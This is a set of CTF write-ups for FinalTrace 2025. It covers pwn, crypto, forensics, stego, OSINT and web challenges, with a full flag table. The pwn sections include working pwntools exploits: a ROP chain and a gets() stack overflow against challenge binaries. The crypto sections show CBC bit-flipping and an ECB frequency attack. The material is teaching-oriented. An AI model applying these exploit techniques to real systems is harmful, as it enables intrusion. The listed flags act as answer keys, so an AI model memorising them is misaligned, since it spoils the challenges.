Home FinalTrace 2025
Ctf-event
Cancel

FinalTrace 2025

Writeups for FinalTrace 2025 CTF.

Overview

ChallengeDifficultyPointsCategoryFlag
Door's MechanismMedium500PwnCYS{7h3_l45t_1nv0ca710n_ha5_b33n_5p0k3n_@789#!}
Echo in Black & WhiteMedium500ForensicsCYS{7H3_H1DD3N_L4Y3R}
Do you know XOR well enough?Medium500GeneralDynamic Flag
Alpha ParallelEasy500Forensics / CryptographyCYS{SHADOW_ALPHA_QR_LAYER_42X}
The Door's MechanismMedium500pwnDynamic Flag
AES again??Medium500GeneralCYS{tiny_change_huge_difference}
VAULT_7AMedium500GeneralFLAG{ECHO_VAULT_MEMORY_FRAGMENT_7A_RESTORED}
Forged Memory LogMedium500GeneralCYS{brute_forcing_is_the_way}
Reflection RestoredMedium500GeneralCYS{r3fl3ct10n_r3st0r3d_B2A}
Temporal Core ConsoleMedium500GeneralCYS{E0N_SYNCHRONIZED_2F3C}
The Watcher's GazeMedium500OSINTCYS{341184_125001_6B011D}
Challenge Name - EXIF ECHOESMedium500Forensics/OSintCYS{T1m3_Fr4gm3nt5_R3v34l_Th3_P4th}
Sneaky NotesMedium500WebCYS{sneaky_notes_xss}
EON GATEMedium500WebCYS{EON_REALIGNED}
Mirror ShatterMedium500WebCYS{B43aking_th3_m1rr0r_1$_c00l}
Echoes in the HourglassMedium500GeneralFLAG{HOURGLASS_RECOVERED}
Temporal Freeze UpgradeMedium500Generalcys{T1M3_SYNC}
Lyra's PhotosMedium500ForensicsCYS{f1v3_53n535_s1x_3m0t10n5}
PARADOX GATE GAURDIANMedium500CryptoCYS{4CC355_6RAN73D}
Where do u came fromMedium500PwnDynamic Flag
Symphony of LoopsMedium500Musical CipherCYS{K3V1N_DUR4NT_M1DD13_G4M3}
Ashes of MemoryMedium500ForensicsCYS{7h3RE_15_N0_E4D}
Lost Core PulseMedium500GeneralCYS{3bb12d_lostpulse_91be2d}
Spectogram ShadowsMedium500Generalcys{N9OO22_ESOO7S}
POEM OF HIDDEN LIESMedium500OSInt/Forensics/TextCYS{january_2019}
Mirror of MinutesMedium500Generalcys{m1rr0r_p4ss}
Feed It the FractureMedium500Forensics (E)CYS{INH4RM0N1C_DO0R_UNL0CK3D}
Phantom FingerprintsMedium500ForensicsCYS{ph4n7om_v3n0m}
To Hehe with Lyra's EchoesMedium500GeneralCYS{HERACTUALECHOES}
Shattered Glass LogsMedium500ForensicsCYS{gl4ss_un5h4tt3rd}
The Infinite GateMedium500WebCYS{c00k1eS_ar3_m34nt_t0_b3_br0k3n}
Auditor's DiaryMedium500OSINT/TEXTCYS{olofkgustafsson}
Reconfiguration TerminalMedium500GeneralCYS{7h3_h0ur6l455_5h4773r3d_bu7_m3m0ry_r3m41n5_1n_fr46m3n75_pl3453_l1573n_cl053r_65537_2025}
Paradox ParableMedium500GeneralCYS{early_belief}
Temporal MergepointMedium500GeneralCYS{temporal_merge_success}
Maelle ConfrontationMedium500OSINTCYS{d3nyy}
Auditor EncounterMedium500Web / ARGCYS{aud1t_regr3t_pass}
Citadel Entry LockMedium500GeneralCYS{SEAL_RAID_CROSS_MAAT_MAZE_HODOS}
Choir EchoesMedium500ForensicsCYS{1tal1an0}
Reflection LogsMedium500ForensicsCYS{lyra_was_here}
Auditor EncounterMedium500Web / ARGCYS{audit_recovered_1A3F_07XZ}
CryptoEZMedium500GeneralCYS{y0u_kn0w_cryp70}
Lyra's JournalMedium500ForensicsCYS{THE_CLOCKS_WERE_LYING}
Echo-Double CombatMedium500Reverse Engineeringcys{s3cr3t_1s_un10cked}

Door's Mechanism

Door’s Mechanism

Author: Naresh

  • Category: Pwn

Challenge Description

Legends speak of a single spell that can unseal the ancient chamber. With one utterance, perform the invocation and witness what was meant to stay hidden.

Solution

Initial Analysis

First, run file on the binary (Last-Invocation) to confirm it is a 64-bit ELF.

1
2
$ file Last-Invocation
Last-Invocation: ELF 64-bit LSB executable, ...

Next, run checksec to see what protections were enabled.

1
2
3
4
5
6
7
8
$ checksec Last-Invocation
[*] 'Last-Invocation'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

No PIE indicates that the function addresses will be static.

Running the binary and giving it a long string of ‘A’s causes a Segmentation fault, confirming the buffer overflow.

Tools Used

  • pwntools: For building and sending the exploit payload.
  • gdb (with pwndbg): For finding the offset and function addresses.
  • Ghidra: For static analysis and decompilation.
  • ropper: For finding the ROP gadgets.
  • checksec: For checking binary protections.

    Step-by-Step Solution

    Step 1: Finding the Vulnerability and Offset

    Open the binary in GDB (with pwndbg) and use a cyclic(100) pattern to find the exact offset to control the return address.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    
    gdb-pwndbg> r
    ...
    Speak the Invocation:
    aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa
    ...
    Program received signal SIGSEGV, Segmentation fault.
    ... 
    gdb-pwndbg> cyclic -l daaaaaaa
    24
    

    The offset to overwrite the return address is 24 bytes.

    Step 2: Planning the ROP Chain

    The goal is to return to the unseal_chamber function, which will print the flag. This function can be easily found by decompiling the binary in Ghidra or by using gdb.

To call it successfully, it requires two specific 64-bit integers as arguments:

  • $rdi(first argument) = 0xdeadc0dedeadc0de
  • $rsi (second argument) = 0xc05c0377c05c0377

Use ropper to find the necessary ROP gadgets:

1
2
3
4
5
6
7
$ ropper --file Last-Invocation --search "pop rdi; ret"
...
0x000000000040119a: pop rdi; ret; 

$ ropper --file Last-Invocation --search "pop rsi; pop r15; ret"
...
0x000000000040119c: pop rsi; pop r15; ret;

Use gdb to find the function address.

1
2
gdb-pwndbg> p unseal_chamber
$1 = (void (long, long)) 0x4011a3 <unseal_chamber>

The final ROP chain should look like this:

  • Padding: 24 bytes of junk (to fill the buffer)
  • Gadget 1: Address of pop rdi; ret
  • Argument 1: 0xdeadc0dedeadc0de
  • Gadget 2: Address of pop rsi; pop r15; ret
  • Argument 2: 0xc05c0377c05c0377
  • Argument 3: 8 bytes of junk (for pop r15)
  • Target: Address of unseal_chamber

Step 3: Final Exploit Script

Write a final exploit script using pwntools to automate this process.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

offset = 24
pop_rdi = 0x000000000040119a
pop_rsi_r15 = 0x000000000040119c
param1 = 0xdeadc0dedeadc0de
param2 = 0xc05c0377c05c0377
unseal_chamber = 0x00000000004011a3

p = remote("target_host", PORT)

payload = b'A'*offset + p64(pop_rdi) + p64(param1) + p64(pop_rsi_r15) + p64(param2) + p64(0x00000000) + p64(unseal_chamber)

p.recvline()
p.sendline(payload)
p.interactive()

Running this script against the binary will call the function with the correct arguments and print the flag.

Flag

CYS{7h3l45t_1nv0ca710n_ha5_b33n_5p0k3n@789#!}

Flag

CYS{7h3_l45t_1nv0ca710n_ha5_b33n_5p0k3n_@789#!}

Echo in Black & White

Echo in Black & White

Challenge Information

  • Title: Echo in Black & White
  • Category: Forensics
  • Difficulty: Easy–Medium

Challenge Description

What if complexity is just an illusion? Sometimes, the most ordinary patterns hold extraordinary secrets — if you learn to see them differently. The challenge is about observing the given image carefully — it may look random, but it hides a binary pattern where black represents 1 and white represents 0. Instead of overcomplicating it, try to read the pattern as bits, group them properly, and see what message it reveals. Sometimes, the simplest patterns lead you straight to the flag.

Hint

the grid is 16*10 bits

Solution

Initial Analysis

The challenge image looked like a small QR-like binary grid.
Since the description mentioned interpreting colors as binary bits, the first idea was to treat each black pixel as 1 and each white pixel as 0, then group them to extract ASCII text.

Tools Used

  • Python
  • Pillow (PIL) – for reading and resizing the image
  • NumPy – for pixel manipulation

Step-by-Step Solution

Step 1: Load and Convert the Image

1
2
3
4
5
from PIL import Image
import numpy as np

img = Image.open("download.png").convert("L")
binary_img = (np.array(img) < 128).astype(np.uint8)  # Black = 1, White = 0

This converts the image to grayscale, then thresholds it so that each pixel is either 1 or 0.

Step 2: Resize to Match the Hint Dimensions

1
2
resized = np.array(Image.fromarray(binary_img * 255).resize((16, 10), Image.NEAREST))
resized = (resized > 128).astype(np.uint8)

According to the challenge hint, the grid has 16 columns and 10 rows, so we resize it to that exact shape.

Step 3: Extract Binary and Convert to ASCII

1
2
3
4
5
6
7
ascii_text = ""
for row in resized:
    bits = "".join(map(str, row))
    byte1, byte2 = bits[:8], bits[8:]
    ascii_text += chr(int(byte1, 2)) + chr(int(byte2, 2))

print(ascii_text)

Each row gives 16 bits (2 ASCII characters of 8 bits each).
After converting the binary values to text, the decoded message appears as:

1
CYS{7H3_H1DD3N_L4Y3R}

Flag

1
CYS{7H3_H1DD3N_L4Y3R}

Lessons Learned

  • Binary-encoded patterns in images can directly store ASCII text.
  • Always check for pixel-level hints in Forensics challenges.
  • Knowing how to manipulate images programmatically is very useful in CTFs.

Resources

Flag

CYS{7H3_H1DD3N_L4Y3R}

Do you know XOR well enough?

Do you know XOR well enough?

  • Category: Cryptography
  • Author: P C Guhan

Description

Random numbers, AES encryption, SHA 256, HMAC, constant-time hash checking… what more do you want? All are imported functions, hence highly secure Or is it??

Solution

AES CBC Encryption AES CBC Decryption

This method uses the previous block to encrypt the next block. The same follows for decryption also. Hence, a bit flip will alter the plaintext.

Each hex requires two characters. The length of “admin=0” is 7. The hex output consists of the 16 bit IV and the 16 bit padded ciphertext. The IV is XOred with the decrypted ciphertext.

To get admin=1, we XOR the 6th character block with 1. i.e. IV[6] ^ decrypted(message[6]) ^ 1 = 0 ^ 1 since 0 ^ 1 = 1,

IV[6] ^ decrypted(message[6]) ^ 1 = 1 giving us admin=1

A corresponding hash can be generated as the hashing algorithm is open source.

To mitigate this vulnerability while still using AES CBC mode, AEAD (Authenticated Encryption and Additional Data) must be used i.e. hashing with a secret key.

Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from Crypto.Random import get_random_bytes
import hashlib
import hmac
import random

# --- setup (same as challenge) ---
key = get_random_bytes(16)
iv = get_random_bytes(16)

part1 = "AES"
part2 = ''.join(random.choices(string.ascii_uppercase, k=5))
part3 = "AEAD"
part4 = f"{random.randint(0, 999999):06d}"
part5 = ''.join(random.choices(string.ascii_uppercase, k=3))
flag = "CYS{" + f"{part1}_{part2}_{part3}_{part4}_{part5}" + "}"

def encrypt_data(data):
    cipher = AES.new(key, AES.MODE_CBC, iv)
    enc = cipher.encrypt(pad(data.encode(), 16, style='pkcs7'))
    return enc.hex()

def decrypt_data(encryptedParams):
    data = bytes.fromhex(encryptedParams)
    if len(data) < 16:
        raise ValueError("Ciphertext too short")
    iv_in = data[:16]
    ciphertext = data[16:]
    cipher = AES.new(key, AES.MODE_CBC, iv_in)
    paddedParams = cipher.decrypt(ciphertext)
    plaintext = unpad(paddedParams, 16, style='pkcs7')
    return plaintext.decode(errors='ignore')


print("Just copy and paste? Hash is also given...")
msg = "admin=0"
print("\nCurrent authentication message is : " + msg)
print("Turn it to admin=1")

cipher_hex = encrypt_data(msg)
iv_cipher = iv.hex() + cipher_hex
print("\nEncryption of authentication message in hex : " + iv_cipher)


hashed_value = hashlib.sha256(iv_cipher.encode('utf-8')).hexdigest()
print("SHA-256: ", hashed_value)

# -----------------------------
# Solution
# Reliable CBC bit-flip to change admin=0 -> admin=1
# -----------------------------
orig_msg = "admin=0"
target_msg = "admin=1"

p0 = pad(orig_msg.encode(), 16, style='pkcs7')[:16]
p1 = pad(target_msg.encode(), 16, style='pkcs7')[:16]

delta = bytes(a ^ b for a, b in zip(p0, p1))

iv_prime = bytes(a ^ b for a, b in zip(iv, delta))

enc_msg = iv_prime.hex() + cipher_hex
enc_hash = hashlib.sha256(enc_msg.encode('utf-8')).hexdigest()


# --- setup (same as challenge) ---
try:
    if hmac.compare_digest(hashlib.sha256(enc_msg.encode('utf-8')).hexdigest(), enc_hash):
        final_dec_msg = decrypt_data(enc_msg)
        print(final_dec_msg)

        if "admin=1" == final_dec_msg:
            print(flag)
        else:
            print('\nTry again you can do it!!')
    else:
        print("\nHashing failed")
        print(hashlib.sha256(enc_msg.encode('utf-8')).hexdigest() + "\n\n")
        print(enc_hash)
except Exception as e:
    print('\nbye bye!!', e)

Flag

Dynamic Flag

Alpha Parallel

Alpha Parallel

Challenge Information

FieldDetails
TitleAlpha Parallel
CategoryForensics / Cryptography
DifficultyEasy
Points150

Challenge Description

The provided PNG image contained two QR codes — one clearly visible, and another hidden within the alpha channel (transparency layer).

When extracted, the visible QR directed players to a YouTube video, while the hidden QR led to a Pastebin URL containing a Spiral Cipher challenge.

The player’s goal was to uncover the hidden data layer, decode the spiral cipher, and retrieve the final flag.


Step 1: Inspecting the PNG Layers

Opening the image in a standard viewer only showed one QR code.
However, using a forensic image inspection tool like GIMP, StegSolve, or Python (Pillow) revealed that the alpha channel contained distinct pixel patterns — forming a second QR code.

Extract Alpha Channel Using Python

1
2
3
4
5
6
7
8
9
10
11
from PIL import Image

# Load image
img = Image.open("dual_qr.png")

# Split image into channels (RGBA)
r, g, b, a = img.split()

# Save the alpha channel separately
a.save("hidden_qr.png")
print("Hidden QR extracted as hidden_qr.png")

This script isolates the transparency layer (alpha) and saves it as a new image — hidden_qr.png — which can then be scanned.


Step 2: Scanning Both QR Codes

After extraction:

  • Visible QR: Scanned to https://www.youtube.com/watch?v=dQw4w9WgXcQ
  • Hidden QR: Scanned to a Pastebin URL
    https://pastebin.com/ZmkMxUdY

The Pastebin text displayed a 5×5 grid, which was actually a Spiral Cipher.


Step 3: Understanding the Spiral Cipher

Pastebin content:

1
2
3
4
5
X P H A _
2 L H A Q
4 A S D R
_ _ W O _
R E Y A L

The challenge description hinted:

“Outward, start by up, clockwise.”

This means we must read the characters from the center outward, following a clockwise spiral starting upward.


Step 4: Solving the Spiral Cipher in Python

To automate decoding, we can write a small script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
def spiral_read(matrix):
    n = len(matrix)
    x, y = n // 2, n // 2  # start from center
    dx, dy = 0, -1  # start moving up
    result = []

    steps = 1
    while len(result) < n * n:
        for _ in range(2):  # two directions before increasing step size
            for _ in range(steps):
                if 0 <= x < n and 0 <= y < n and matrix[y][x] != '_':
                    result.append(matrix[y][x])
                x, y = x + dx, y + dy
            dx, dy = dy, -dx  # rotate 90° clockwise
        steps += 1
    return ''.join(result)

grid = [
    ['X','P','H','A','_'],
    ['2','L','H','A','Q'],
    ['4','A','S','D','R'],
    ['_','_','W','O','_'],
    ['R','E','Y','A','L']
]

flag = spiral_read(grid)
print("Decoded Spiral:", flag)

Output:

1
Decoded Spiral: CYS{SHADOW_ALPHA_QR_LAYER_42X}

Final Flag

1
CYS{SHADOW_ALPHA_QR_LAYER_42X}

Flag

CYS{SHADOW_ALPHA_QR_LAYER_42X}

The Door's Mechanism

The Door’s Mechanism

Challenge Information

  • Title: The Door’s Mechanism
  • Category: pwn
  • Difficulty: Easy
  • Points: [Point Value]

Challenge Description

We are given a 32-bit ELF binary named vuln. The goal is to provide the correct input to get the flag.

Solution

Initial Analysis

First run file and checksec on the binary to see what we are dealing with.

1
2
3
4
5
6
7
8
9
10
$ file vuln
vuln: ELF 32-bit LSB executable, Intel 80386, ... not stripped

$ checksec vuln
[*] 'vuln'
    Arch:     i386-32-bit-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)

The binary is a 32-bit executable with no security protections. This strongly suggests a classic stack-based exploit.

Running the binary, it asks for input:

1
2
3
$ ./vuln
Enter the code: test
Access denied.

Analyzing the decompiled code in ghidra, we can spot the vulnerability in the input() function.

The gets(buffer) call reads input into a 32-byte buffer without any size limit, creating a stack buffer overflow.

The solution is to use the buffer overflow from gets(buffer) to overwrite the adjacent key variable on the stack with the value 0x0defaced.

Tools Used

  • pwntools
  • Ghidra
  • checksec

Step-by-Step Solution

Step 1: Determine Stack Layout and Offset

gets() writes up the stack (towards higher addresses), when we overflow the 32-byte buffer, the very next 4 bytes we send will overwrite the memory allocated for the key variable.

Therefore, our offset is 32 bytes.

Step 2: Craft the Payload

We need to send:

  • 32 bytes of “junk” padding to fill the buffer.
  • The 4-byte value 0x0defaced to overwrite key.

Our final payload will be: [32 bytes of 'A'] + [0x0defaced]

Step 3: Write the Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

key_value = p32(0x0defaced)
padding = b'A' * 32

payload = padding + key_value

#p = process('./vuln')
p = remote("target_host",PORT)

print(f"Sending payload: {payload}")
p.sendline(payload)
print(p.recvall().decode())

Running this pwntools python script give you the flag.

Flag

CYS{pwn!@#$\_overflow\_#}

Flag

Dynamic Flag

AES again??

AES again??

  • Category: Cryptography
  • Author: P C Guhan

Description

ECB mode this time… Random function, PKCS 7 padding - should be good Or is it?? (Encode the flag as CYS{flag} separated by underscores)

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import random

random_int = random.getrandbits(128)
key = random_int.to_bytes(16, byteorder='big')
cipher = AES.new(key, AES.MODE_ECB)

def encrypt(str):
    padded = pad(str.encode(), 16)
    encrypted = cipher.encrypt(padded)
    return encrypted

with open("flag.txt", "r") as f:
    plaintext = f.read()
encrypted_blocks = [encrypt(c).hex() for c in plaintext]
with open("output.txt", "w") as f:
    f.write(" ".join(encrypted_blocks))

output.txt

Solution

ECB Mode

AES ECB mode uses the same key to encrypt different blocks.

The vulnerability in this code is that we take a single character from the flag, pad it and encrypt it as opposed to padding the entire flag and encrypting it. Therefore all instances of the same character have the same cipher i.e. all ‘a’s will have the same cipher.

This in turn can be broken through frequency analysis

Frequency analysis also becomes easier when a large amount of text is given

Solution script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import string

def read_encrypted(filename):
    with open(filename, "r") as f:
        content = f.read()
    return content.strip().split()

def map_blocks_to_letters(encrypted_blocks):
    unique_blocks = sorted(set(encrypted_blocks))
    if len(unique_blocks) > 26:
        raise ValueError(f"Too many unique blocks: {len(unique_blocks)} (max 26 allowed)")
    letters = list(string.ascii_lowercase)
    mapping = {block: letter for block, letter in zip(unique_blocks, letters)}
    return mapping

def substitute_blocks_with_letters(encrypted_blocks, mapping):
    return "".join(mapping.get(block, "?") for block in encrypted_blocks)

def main():
    encrypted_file = "output.txt"
    decoded_file = "test.txt"

    encrypted_blocks = read_encrypted(encrypted_file)
    mapping = map_blocks_to_letters(encrypted_blocks)
    decoded_text = substitute_blocks_with_letters(encrypted_blocks, mapping)

    with open(decoded_file, "w") as f:
        f.write(decoded_text)

if __name__ == "__main__":
    main()

test.txt This script substitutes each unique hex value with a letter. There are only 26 unique hex values in output.txt

When doing frequency analysis and substitution on the contents of test.txt, we get the plaintext.

Frequency analysis tools are available online. The tool I used

Flag: CYS{tiny_change_huge_difference}

Flag

CYS{tiny_change_huge_difference}

VAULT_7A

Challenge Name: VAULT_7A

Category: Forensics / Steganography Author: Vishal V Difficulty: Easy

Challenge Description Within the Echo Maze, you discover a flickering hologram capsule labeled “VAULT_7A”. The projection stutters between timeframes, overlaying multiple moments into a single distorted image. Lyra’s voice echoes: “Some memories hide in layers… peel them back carefully.”

Downloads: temporal_fragment.jpg hint.txt

Solution: Initial Analysis Upon downloading the challenge files, I was presented with: A JPEG image file (temporal_fragment.jpg) A hint file (hint.txt)

First, I examined the basic file properties: bash: file temporal_fragment.jpg Output:temporal_fragment.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 360x360, components 3 No immediate clue was found. From challenge description “…peel them back…” , we can infer it must be something related to steganography.

Tools Used: steghide - JPEG/BMP steganography tool base64 - Base64 decoder (built-in Linux/Mac command) zbarimg - QR code scanner (from zbar-tools package) Online Caesar cipher decoder (or manual decoding) Online QR scanner (https://webqr.com) as alternative

Step-by-Step Solution Step 1: Decode the Passphrase from hint.txt Reading the hint file revealed an encoded passphrase: bash: cat hint.txt

Key information found:

  • Encoded passphrase: ALTWVYHS
  • Hint: “Time shifts all things forward. To find truth, shift backwards 7 times.”
  • Encryption method: TEMPORAL SHIFT PROTOCOL (Caesar/ROT cipher)

The hint indicates a Caesar cipher with shift of 7. To decrypt, I needed to shift each letter backward by 7 positions in the alphabet.

Manual decoding:

A - 7 = T L - 7 = E
T - 7 = M W - 7 = P V - 7 = O Y - 7 = R H - 7 = A S - 7 = L

Result: TEMPORAL Alternatively, using an online ROT decoder or Python: Python code: def rot_decode(text, shift): result = “” for char in text: if char.isalpha(): start = ord(‘A’) if char.isupper() else ord(‘a’) result += chr((ord(char) - start - shift) % 26 + start) else: result += char return result

print(rot_decode(“ALTWVYHS”, 7))

Output: TEMPORAL

Passphrase obtained: temporal Step 2: Check for any hidden images inside the given image: bash: steghide info temporal_fragment.jpg Output: steghide info temporal_fragment.jpg “temporal_fragment.jpg”: format: jpeg capacity: 634.0 Byte Try to get information about embedded data ? (y/n) y Enter passphrase: embedded file “qr_secret.png”: size: 481.0 Byte encrypted: rijndael-128, cbc compressed: yes Found a embedded file qr_secret.png!!

Step 3: Extract Hidden Data Using Steghide With the passphrase decoded, I used steghide to extract hidden data from the image: bash: steghide extract -sf temporal_fragment.jpg -p “temporal”

Output: wrote extracted data to “qr_secret.png” Success! The steghide tool extracted a hidden PNG file.

Step 4: Decode the QR Code Using zbarimg to scan the QR code: bash: zbarimg qr_secret.png ```

Output:

QR-Code:RkxBR3tFQ0hPX1ZBVUVUX01FTU9SWV9GUkFHTUVOVF83QV9SRVNUT1JFRH0= The QR code contained a base64-encoded string.

OR use a online qr decoder.

Step 5: Decode Base64 String The QR output was clearly base64 (ending with = padding). Decoding it: bash: echo “RkxBR3tFQ0hPX1ZBVUVUX01FTU9SWV9GUkFHTUVOVF83QV9SRVNUT1JFRH0=” | base64 -d Output: FLAG{ECHO_VAULT_MEMORY_FRAGMENT_7A_RESTORED}

Alternative Solution Paths Without Knowing the Password If the passphrase wasn’t decoded, players could use stegseek to brute-force it: bash# Install stegseek sudo apt-get install stegseek

Crack with common wordlist

stegseek temporal_fragment.jpg /usr/share/wordlists/rockyou.txt This would find “temporal” in seconds since it’s a common word.

Using Online Tools For players without CLI tools: Use online Caesar decoder: https://cryptii.com/pipes/caesar-cipher Extract with steghide (requires installation) Use online QR scanner: https://webqr.com Use online base64 decoder: https://www.base64decode.org

Flag

FLAG{ECHO_VAULT_MEMORY_FRAGMENT_7A_RESTORED}

Forged Memory Log

Forged Memory Log

  • Category: Cryptography
  • Author: P C Guhan

Description

Inside the Hourglass Citadel, Lyra uncovers a crystalline data shard said to contain the key to the final confession. But the key has been forged and obfuscated — mirrored fragments, deliberate noise, and counterfeit characters woven into its structure to mimic authenticity. Every attempt to read it only reveals more copies of itself, each slightly altered. To move forward, the player must isolate the genuine cipher sequence hidden beneath layers of forged keys and false reflections.

Solution

Brute force base-32 decode 39 times (I was limited to 39 as python had a memory error after 39 and I was lazy to do it in C/C++)

1
2
3
4
5
6
7
8
9
10
11
import base64
with open("output.txt", "r") as f:
    inp = f.read()
inp = inp.encode('ascii')
inp = inp[2:-1]

for i in range(39):
    inp = base64.b32decode(inp)
    print(i)

print(inp)

Flag: CYS{brute_forcing_is_the_way}

Flag

CYS{brute_forcing_is_the_way}

Reflection Restored

Reflection Restored

Category: Reverse Engineering, Forensics
Author: Sharon

Description

The binary repair asks for an input. If the input matches a criteria, a passphrase is printed. This passphrase is the steg info for repair_mirror.jpg attached. Inside repair_mirror.jpg is a text file that was embedded using steghide. The player needs to reverse repair to get the passphrase.


Solution

Initial Analysis

Run the binary; it prompts for a key. Analyse the binary statically using a reverse-engineering tool like Ghidra.

Step-by-step solution

Step 1: Statically analysing the binary

Upon opening the binary for static analysis, we notice the core functions and find the main function. In the decompile, we notice:

1
2
3
4
    iVar2 = valid_input(local_128);
    if (iVar2 == 0) {
      puts("Wrong.");
    }

iVar2 checks a function called valid_input.

We need to escape this by giving a valid input. Now let’s analyse what a valid input is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
  sVar3 = strlen((char *)param_1);
  bVar2 = false;
  if ((int)sVar3 == 0xc) {
    ppuVar4 = __ctype_b_loc();
    pbVar1 = param_1 + 0xc;
    iVar6 = 0;
    iVar5 = 0;
    do {
      iVar5 = (iVar5 + 1) - (uint)(((*ppuVar4)[*param_1] & 0x100) == 0);
      iVar6 = (iVar6 + 1) - (uint)(((*ppuVar4)[*param_1] & 0x200) == 0);
      param_1 = param_1 + 1;
    } while (pbVar1 != param_1);
    bVar2 = 1 < iVar5 && 1 < iVar6;
  }
  return bVar2;

In the first few lines we notice that the input needs to be 12 characters long. The function then loops over each byte in the input, counting how many uppercase (0x100) and lowercase (0x200) characters it contains. It only validates the input if there are more than two uppercase and more than two lowercase alphabets.

Step 2: Running the binary

Now we try running the binary with a valid input.

1
2
3
sharon123@Ramkumar:/mnt/c/Users/sramk/downloads/challenge$ ./unlocker
Enter key: ASfgertfghwe
Passphrase: CYS{mirror_restored_but_soul_shattered} (1st flag obtained)

This gives us a passphrase.

Step 3: Running Steg analysis on the jpg attached

1
2
3
4
5
6
7
8
9
10
sharon123@Ramkumar:/mnt/c/Users/sramk/downloads/challenge$ steghide info mirror.jpg
"mirror.jpg":
  format: jpeg
  capacity: 564.0 Byte
Try to get information about embedded data ? (y/n) y
Enter passphrase: # enter the obtained passphrase
  embedded file "flag.txt":
    size: 29.0 Byte
    encrypted: rijndael-128, cbc
    compressed: yes

Extract the embedded file with steghide:

1
2
3
4
5
6
sharon123@Ramkumar:/mnt/c/Users/sramk/downloads/challenge$ steghide extract -sf mirror.jpg
Enter passphrase:
wrote extracted data to "flag.txt".

sharon123@Ramkumar:/mnt/c/Users/sramk/downloads/challenge$ cat flag.txt
CYS{r3fl3ct10n_r3st0r3d_B2A}

Flags

  • CYS{mirror_restored_but_soul_shattered} — (this flag keeps the player in the denier path, B)
  • CYS{r3fl3ct10n_r3st0r3d_B2A} — (this flag makes the player shift from denier path B, to healer path, A)

Flag

CYS{r3fl3ct10n_r3st0r3d_B2A}

Temporal Core Console

Temporal Core Console

Category: Forensics/Crypto
Author: Varsaa H


Challenge Description

The Eon city has lost its memory core. You must analyze recovered data fragments, decode hidden signals, and recover the temporal flag to restore the city’s heart.


Solution

Initial Analysis

Downloaded and inspected the provided artifacts:

  • temporal_core.log
  • core_fragment.bin
  • memory_snapshot.img
  • temporal_beacon.wav
  • EON_FINAL.enc

Tools Used

  • strings, xxd, base32, python
  • Audacity (or any WAV audio analyzer)
  • CyberChef (online multi-tool for encodings)
  • pycryptodome (Python AES library)

Step-by-Step Solution

Step 1: Inspect the Memory Dump for Keys

strings memory_snapshot.img

text

Found:

  • AES Key: EONSYNCHRONIZE12
  • IV: SYNCWAVESFLOW1234

Step 2: Decode the Log

cat temporal_core.log | awk ‘{print $2}’ | tr -d ‘\n’ > log.base32 base32 -d log.base32 > fragment.bin

text

Base32-decoded the log, yielding an encrypted blob matching core_fragment.bin.


Step 3: AES Decrypt the Fragment

from Crypto.Cipher import AES

key = b’EONSYNCHRONIZE12’ iv = b’SYNCWAVESFLOW1234’

with open(‘core_fragment.bin’, ‘rb’) as f: data = f.read()

def unpad(s): return s[:-s[-1]]

cipher = AES.new(key, AES.MODE_CBC, iv) plaintext = cipher.decrypt(data) print(unpad(plaintext).decode())

text Output: This is the beacon. Decode its pulse next. QR in sound…

text Points to the audio file next.


Step 4: Decode temporal_beacon.wav (Morse)

  • Loaded temporal_beacon.wav in an online Morse decoder or Audacity.
  • Decoded message:
    1
    
      RECONSTRUCT THE CYCLE REVERSED SHA1 - FOLLOW THE PULSE
    
  • This hints the final XOR key is SHA1(reversed_flag).

Step 5: Decrypt EON_FINAL.enc

import hashlib

flag = “CYS{E0N_SYNCHRONIZED_2F3C}” rev = flag[::-1] sha1key = hashlib.sha1(rev.encode()).hexdigest() key_bytes = bytes.fromhex(sha1key)

with open(‘EON_FINAL.enc’, ‘rb’) as f: data = f.read()

decrypted = ‘‘.join(chr(b ^ key_bytes[i % len(key_bytes)]) for i, b in enumerate(data)) print(decrypted)

text

Output: CYS{E0N_SYNCHRONIZED_2F3C}

text


Flag

CYS{E0N_SYNCHRONIZED_2F3C}

Flag

CYS{E0N_SYNCHRONIZED_2F3C}

The Watcher's Gaze

The Watcher’s Gaze

  • Category: [OSINT]
  • Author: [Akshitha]

Challenge Description

Go through a variety of open source data and find out the observer’s den. Follow lyra’s trail but beware do not get caught. All you need is right infront of your eyes, just know where to look.

Solution

Initial Analysis

Build up a narrative, look at various social media platforms, come up with a cohesive plot that built on the story.

Tools Used

  • Metadat2go
  • Instagram
  • Github
  • Google docs

Step-by-Step Solution

Step 1: The Image

image

The binary numbers are decoys, they dont point to anything important

Things to dedue:

i. Bottom right: Instagram account (hinted by the purple/ blue colour scheme) @LC_HOURGLASS

ii. Extracting meta data

image

We see a hex value (6B011D)

It is a part of the flag, to be noted and kept

Step 2: The Instagram account

image

The bio points to a username (Caellum-Archivist)

image

Upon inspection of the post caption, the last line has weird capitalization

In the word gift notice only capital letters (GIT)

Step 3: The github

image

In the old haven archive

image

90210 points to a famous los angeles pincode

The reset attempts are dummies

Shes-gone-and-its-just-me-repo:-

image

Multiple access_gate decoys so even if we want to get password from code it takes a little bit of time

image

README points to a link

image

